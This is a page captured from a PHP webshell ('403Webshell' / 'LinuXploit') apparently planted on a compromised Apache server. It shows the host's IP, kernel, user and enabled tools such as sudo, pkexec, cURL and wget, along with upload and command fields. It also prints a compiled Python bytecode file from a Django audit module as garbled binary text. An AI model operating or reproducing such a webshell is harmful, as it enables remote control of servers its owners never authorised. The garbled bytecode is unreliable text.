403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla_audit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla_audit/__pycache__/models.cpython-310.pyc
o

hͦh�@s�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZddlm
Z
mZddlmZddlmZGd	d
�d
ej�ZGdd�dej�ZGd
d�de�Zee�dd��Zee
�dd��ZGdd�de�ZGdd�de�ZdS)z
models.py
�)�Iterable)�models)�receiver)�HistoricalRecords�_default_get_user�_history_user_getter�_history_user_setter)�post_create_historical_record�pre_create_historical_record)�HorillaModel)�remove_duplicate_historyc@sDeZdZdZejdd�Zejdd�Zde	fdd�Z
Gd	d
�d
�ZdS)�AuditTagz
    HistoryTag model
    �)�
max_lengthF��default�returncCs
t|j�S)N)�str�title)�self�r�$/var/www/erp/horilla_audit/models.py�__str__#s
zAuditTag.__str__c@seZdZdZdZdS)z
AuditTag.Meta�/
        Meta class for aditional info
        �
horilla_auditN)�__name__�
__module__�__qualname__�__doc__�	app_labelrrrr�Meta&sr N)rrrrr�	CharFieldr�BooleanField�	highlightrrr rrrrr
sr
c@sReZdZdZejdddd�Zejdd�Zej	ddd�Z
e�e�Z
Gdd	�d	�Zd
S)�HorillaAuditInfoz9
    HorillaAuditInfo model to store additional info
    rT)r�null�blank)r%F)rr%c@seZdZdZdZdZdS)zHorillaAuditInfo.MetarrTN)rrrrr�abstractrrrrr 8sr N)rrrrrr!�
history_title�	TextField�history_descriptionr"�history_highlight�ManyToManyFieldr
�history_tagsr rrrrr$.s
r$c@seZdZdZdS)�HorillaAuditLogzG
    Model to store additional information for historical records.
    N)rrrrrrrrr.Asr.cOsdz+|d}tjjj�d�|_tjjj�d�|_tjjj�d�dkr#dnd|_d|_WdSYdS)	z,
    Pre create horill audit log method
    �history_instancer(r*r+�onTFN)	r�thread�request�POST�getr(r*r+�skip_history)�sender�instance�args�kwargsr/rrr�pre_create_horilla_audit_logOs
����r:cOstz3|d}|j�tjjj�d��t|t�r1d|_	t
|�|jr*|jj
|jd���d|d<WdSWdSYdS)z-
    Post create horill audit log method
    r/r-z
Demo Title)�pkN)r-�setrr1r2r3�getlist�
isinstancer.r(rr5�history_set�filterr;�delete)r6r7�_argsr9r/rrr�post_create_horilla_audit_logfs�
�rCc@s(eZdZejdddd�Zejdd�ZdS)�HistoryTrackingFieldsTF)r%r&�editablerN)rrrr�	JSONField�tracking_fieldsr"�work_info_trackrrrrrDzsrDc@s$eZdZejdddd�Ze��ZdS)�AccountBlockUnblockFT)rr%r&N)rrrrr"�
is_enabled�Manager�objectsrrrrrIsrIN)r�collections.abcr�	django.dbr�django.dispatchr�simple_history.modelsrrrr�simple_history.signalsr	r
�horilla.modelsr�horilla_audit.methodsr�Modelr
r$r.r:rCrDrIrrrr�<module>s"



Youez - 2016 - github.com/yon3zu
LinuXploit